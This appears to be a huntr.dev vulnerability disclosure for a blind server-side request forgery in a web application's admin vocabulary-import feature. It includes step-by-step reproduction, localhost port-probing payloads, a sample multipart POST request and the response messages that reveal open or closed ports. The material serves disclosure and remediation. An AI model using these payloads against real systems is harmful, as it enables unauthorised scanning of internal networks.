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Scgajge12F5018226-0063-415D-9675-D7E30934FF78HistoryJul 16, 2023 - 1:53 a.m.
Server Side Request Forgery (SSRF)
2023-07-1601:53:21
scgajge12
www.huntr.dev
8
blind ssrf
vocabulary screen
administrator
import
payload
request
response result
0.0005 Low
EPSS
Percentile
18.1%
Description
There is Blind SSRF on the vocabulary screen in the administrator screen.
Proof of Concept
Step 1. Log in to the administrator screen and access “Import new vocabulary” from the “vocabulary” page.
Step 2. Specify the following Payload in the “Vocabulary URL” field and check that the local environment can be accessed from the response result. (File format: JSON-LD)
Payload
Open Port
http://localhost:80
Open Port
http://localhost:443
Closed Port
http://localhost:1234
Request
POST /admin/vocabulary/import HTTP/1.1
...
-----------------------------28807843559236410972421406436
Content-Disposition: form-data; name="vocabulary-file[url]"
http://localhost:80
-----------------------------28807843559236410972421406436
Content-Disposition: form-data; name="vocabulary-file[format]"
jsonld
-----------------------------28807843559236410972421406436
...
Response Result
Open Port
Unable to load the remote document "<!DOCTYPE html ...
Closed Port
Unable to connect to localhost:1234 (Connection refused)
PoC Video
https://drive.google.com/file/d/10SmI9dtRewubES4kRHHk2xyupG_GxLF5/view?usp=sharing
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